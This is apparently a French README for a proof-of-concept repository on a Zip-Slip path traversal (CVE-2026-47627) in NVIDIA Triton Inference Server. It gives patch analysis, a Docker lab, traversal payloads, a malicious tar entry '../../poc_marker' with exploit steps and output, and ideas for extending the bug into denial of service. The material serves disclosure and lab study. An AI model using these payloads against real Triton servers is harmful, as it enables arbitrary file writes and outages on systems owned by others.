
Preuve de concept d'exploitation pour CVE-2026-47627, une vulnérabilité de traversée de chemin dans NVIDIA Triton Inference Server permettant l'écriture arbitraire de fichiers via Zip-Slip. Inclut une analyse détaillée, un environnement de laboratoire et des scripts d'exploitation en un clic.
Writeup complet des résultats de recherche & PoC dans ce repo (image
nvcr.io/nvidia/tritonserver:26.05-py3/server v2.69.0). Le repo est configuré pour être toujoursexplicitafin que le PoC fonctionne sans redémarrage via gRPC.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-47627 |
| CNA | [email protected] |
| Publication | 2026-08-18 (NVD en attente d'analyse) |
| Bulletin | NV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865 |
| CVSS 3.1 | 9.8 CRITIQUE AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-22 Path Traversal |
| Affecté | 0.0-26.05 (server v2.69.0 / core r26.05) |
| Corrigé | 26.06 (server v2.70.0 / core r26.06) |
| Impact | DoS (description CNA) — cette recherche prouve une écriture de fichier hors de /models via Zip-Slip, qui peut être étendue à un DoS/épuisement des ressources |
| Crédit | Martin Brodeur |
Note honnête : La description CNA ne mentionne que
path traversal → DoSsans détails. Ce writeup reconstruit l'emplacement du bug via le diffr26.05..r26.06et des tests directs dans le conteneur26.05-py3.
Image : nvcr.io/nvidia/tritonserver:26.05-py3 (TRITON_VERSION 2.69.0)
Compose toujours explicit (déjà patché dans ce repo) :
# docker-compose.yml:12
command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
run_triton.bat:10, run_triton.ps1:11, run_triton.sh:12 sont également en explicit.
Mode Triton :
NONE (défaut upstream) → chargement unique au démarrage, POST /v2/repository/models/.../load → 503, nécessite un redémarrage pour charger un nouveau modèle.POLL → scanne le repo chaque seconde, chargement auto, bloque toujours le chargement explicite.EXPLICIT (ce repo) → pas de scan, mais ouvre gRPC load_model / POST /load → PoC sans redémarrage via gRPC.Ports :
| 8000 | HTTP REST | v2/health, v2/models, v2/repository |
| 8001 | gRPC | RepositoryModelLoad, ModelInfer |
| 8002 | Metrics | Prometheus |
Modèles initiaux :
model_repository/
├── echo_python/ (python backend, model.py)
│ └── 1/model.py
└── identity_onnx/ (onnxruntime, model.onnx ~1KB)
Démarrage rapide :
docker compose up -d
docker compose logs -f
py scripts/client_test.py # health + infer identity_onnx
User input (model_name / tar entry) ──► join(parent, child) ──► canonicalize ──► cek "child di dalam parent?" ──► buka file
│ │ │ │ │
└──► "../tmp/pwn" /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn rfind vs find + '/' check FileExists / extract
join sans canonicalize ou avec un contrôle rfind(parent,0)==0 incorrect (correspondance partielle /models vs /models_evil), alors ../ peut s'échapper./dev/zero, /proc/self/mem, ou un tar contenant ../../ qui écrase des fichiers système → blocage / OOM / crash.Trois questions de recherche (du rapport initial) :
model_name dans gRPC RepositoryModelLoad, EXECUTION_ENV_PATH tar entry, override file:, TRITON_BATCH_STRATEGY_PATH.posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath.DoS via épuisement des ressources / blocage. Dans ce repo, une écriture de fichier vers /tmp/poc_marker est prouvée.Repo core (r26.05..r26.06) :
src/filesystem/api.cc:407 IsChildPathEscapingParentPath — fix dcb315d + 72f3d9b :
// VULN (r26.05):
absolute_child.rfind(absolute_parent,0) != 0
// → bug de correspondance partielle : le préfixe "/models" de "/models_evil/file" est considéré comme interne
// CORRIGÉ (r26.06):
canonical_child.find(canonical_parent,0)==0 &&
((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
// → doit avoir '/' après le préfixe, "/models_evil" est maintenant correctement externe
Utilisé dans src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) et src/model_repository_manager/model_repository_manager.cc:162 (file:).
src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (mars 2026, déjà dans 26.05 mais renforcé dans 26.06) :
if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
C'est ce qui fait que gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT dans 26.05 (déjà bloqué). Mais %2f (/ encodé) passe car ce n'est pas un / littéral → 500 poll littéral.
python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 test zipslip_test.py :
Le tar est extrait sans contrôle de .. / chemin absolu. L'entrée ../../poc_marker de /models/poc_exploit/malicious_env.tar.gz est extraite vers /tmp/poc_marker (hors du répertoire du modèle). Correctif dans 26.06 : utilisation de ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + contrôle IsChildPathEscapingParentPath.
Repo server (r26.05..r26.06) : uniquement sagemaker_server.cc:1027 (contrôle RE2::FullMatch) + http_server.cc:2440 (atoi→stoi), pas le chemin de ce CVE.
Conclusion : Le chemin model_name via HTTP/gRPC était déjà bloqué dans 26.05 par ValidateModelName, mais le Zip-Slip tar ne l'était pas — c'est ce qui est exploité par le PoC de ce repo.
| Vecteur | Payload | Résultat 26.05 | Vulnérable ? |
|---|---|---|---|
HTTP brut ../ | POST /v2/repository/models/../tmp/pwn/load | 404 (normalisation du routage) | ❌ |
HTTP encodé ..%2f | POST /v2/repository/models/..%2ftmp%2fpwn/load | 500 littéral, poll /models/..%2ftmp%2fpwn inexistant | ❌ (faux 500, pas un traversal) |
gRPC brut ../tmp/pwn | load_model('../tmp/pwn') | 400 INVALID_ARGUMENT | ❌ (déjà bloqué) |
gRPC encodé ..%2f | load_model('..%2ftmp%2fpwn') | 500 poll littéral | ❌ |
Override file: ../models_evil | file:../models_evil/pwn | 400/500 selon la correspondance partielle | ⚠️ (dépend du bug IsChildPathEscapingParentPath, mais déjà bloqué par ValidateModelName pour model_name) |
Tar EXECUTION_ENV_PATH ../../poc_marker | malicious_env.tar.gz entrée ../../poc_marker | 200 + fichier dans /tmp/poc_marker | ✅ VULN |
L'analogie
500 vs 400dans l'ancien writeup était erronée :500= fichier inexistant (porte absente),400= rejeté par validation (porte verrouillée). Aucun des deux n'entre. Seul200+ fichier dans/tmpest une preuve.
Idée : Le paramètre Python backend EXECUTION_ENV_PATH pointe vers $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz. Lors du load_model('poc_exploit'), le backend pb_env.cc:292 extrait le tar sans assainissement. L'entrée ../../poc_marker s'échappe de .../poc_exploit/ vers /tmp/poc_marker.
Étapes du PoC (automatisées dans scripts/exploit.py:28 & exploit.ps1:20) :
echo_python → poc_exploit (scripts/exploit.py:35)config.pbtxt (scripts/exploit.py:40) :
parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
scripts/exploit.py:44) :
TarInfo(name='../../poc_marker', size=6, mode=0o644) # → /tmp/poc_marker
TarInfo(name='bin/activate', mode=0o755)
gRPC load_model('poc_exploit') (scripts/exploit.py:60) — sans redémarrage car explicit.docker exec tritonserver-test cat /tmp/poc_marker → pwned (scripts/exploit.py:81)Prérequis : Docker, image 26.05-py3 déjà lancée avec docker compose up -d (le repo est déjà en explicit).
Python (sans redémarrage, via gRPC) :
py scripts/exploit.py # auto-détection explicit → gRPC
py scripts/exploit.py --keep # conserver l'artefact pour vérification manuelle
# vérification manuelle : docker exec tritonserver-test cat /tmp/poc_marker
# nettoyage manuel : docker exec tritonserver-test rm -f /tmp/poc_marker
PowerShell :
powershell -ExecutionPolicy Bypass -File exploit.ps1
powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
Revenir à MODE_NONE (si vous voulez le défaut upstream) :
# modifier docker-compose.yml:12 en supprimant --model-control-mode=explicit
docker compose up -d --force-recreate
Test de blocage (doit renvoyer 400/404/500, pas 200) :
py scripts/test_http_grpc_blocked.py # présent dans l'ancien repo, maintenant supprimé — utiliser les logs d'exploit.py
# ou manuellement :
curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}" # 500
py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')" # 400
Vulnérable (26.05) — sortie de exploit.py :
[*] Triggering exploit via gRPC load (no restart)...
[+] gRPC load sent
[+] VULNERABLE: /tmp/poc_marker exists outside /models
cat: pwned
[+] Exploit succeeded — file write outside repository confirmed
Vérification :
docker exec tritonserver-test ls -l /tmp/poc_marker # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
docker exec tritonserver-test cat /tmp/poc_marker # pwned
docker logs tritonserver-test --tail 20 | grep Extracting # Extracting Python execution env .../malicious_env.tar.gz
Corrigé (26.06) — attendu :
[-] Not vulnerable: /tmp/poc_marker not found
# log: Path contains '..' (ou Path is absolute)
HTTP/gRPC .. doit renvoyer 400, pas 500 :
# 26.05 gRPC brut ../ → 400 INVALID_ARGUMENT (déjà bloqué par ValidateModelName)
# 26.05 gRPC ..%2f → 500 poll littéral (contourne la validation mais pas un vrai traversal)
# 26.06 les deux → 400
Le CNA mentionne DoS, mais ce Zip-Slip peut faire une écrasement de fichier → DoS :
model.py / config.pbtxt d'un autre modèle → échec de chargement du modèle → 503bin/activate / FIFO /tmp/fifo → blocage du thread pb_env.cc → UNAVAILABLEload_model avec un tar ../../dev/zero (infini) → OOMCe repo se concentre sur l'écriture de fichier comme preuve de traversal ; le DoS peut être étendu avec un tar contenant 1/model.py en boucle infinie.
26.06 (server v2.70.0, core r26.06) — IsChildPathEscapingParentPath + ARCHIVE_EXTRACT_SECURE_NODOTDOT.8000/8001 sur Internet (reverse proxy + authentification).. & %2f dans les URL & EXECUTION_ENV_PATHEXECUTION_ENV_PATH si non nécessairedocker logs tritonserver-test | grep "Path contains\|failed to poll.*%2f".
├── model_repository/
│ ├── echo_python/ # exemple de backend python
│ └── identity_onnx/ # exemple onnxruntime
├── scripts/
│ ├── exploit.py:1 # PoC principal (Python, oneclick, gRPC, sans redémarrage)
│ ├── generate_model.py # régénère identity_onnx
│ └── client_test.py # test health + infer
├── exploit.ps1:1 # PoC principal (PowerShell, oneclick)
├── docker-compose.yml:12 # toujours explicit
├── run_triton.bat:10 / .ps1:11 / .sh:12 # toujours explicit
├── requirements.txt # numpy, onnx, requests, tritonclient[http,grpc], grpcio, protobuf
└── README.md # ce writeup
Supprimés : exploit_cve_*.py, poc_zipslip_simple.py, check_mode.py, test_http_grpc_blocked.py, cleanup_poc.py, test_poc.ps1, null, model_repository/zipslip_*, /tmp/poc_marker.
https://github.com/NVIDIA/product-security/tree/main/2026/5865 (5865.md, CVE-2026-47627.json)https://nvd.nist.gov/vuln/detail/CVE-2026-47627 (en attente d'analyse)dcb315d (Modernize Child Path), 72f3d9b (test child path), e520f8c7 (test zipslip), 50830ba/66f09f8 (ValidateModelName)v2.70.0 (690f9dd)| Date | Événement |
|---|---|
| 2026-03-03 | core#472 ValidateModelName |
| 2026-03-16 | core#481 trim POSIX |
| 2026-05-18 | core#497 IsChildPathEscapingParentPath |
| 2026-06-02 | server#8857 test zipslip |
| 2026-06-26 | 26.06 / v2.70.0 publication du correctif |
| 2026-08-18 | Publication du CVE |
| 2026-09-02 | Repo PoC de ce projet vérifié sur 26.05-py3 → VULNERABLE |
Ce PoC est destiné à l'éducation & un laboratoire fermé. N'exposez pas 8000/8001 sans authentification. Toujours utiliser exploit.py --keep puis docker exec tritonserver-test rm -f /tmp/poc_marker & Remove-Item -Recurse model_repository/poc_exploit après la démonstration.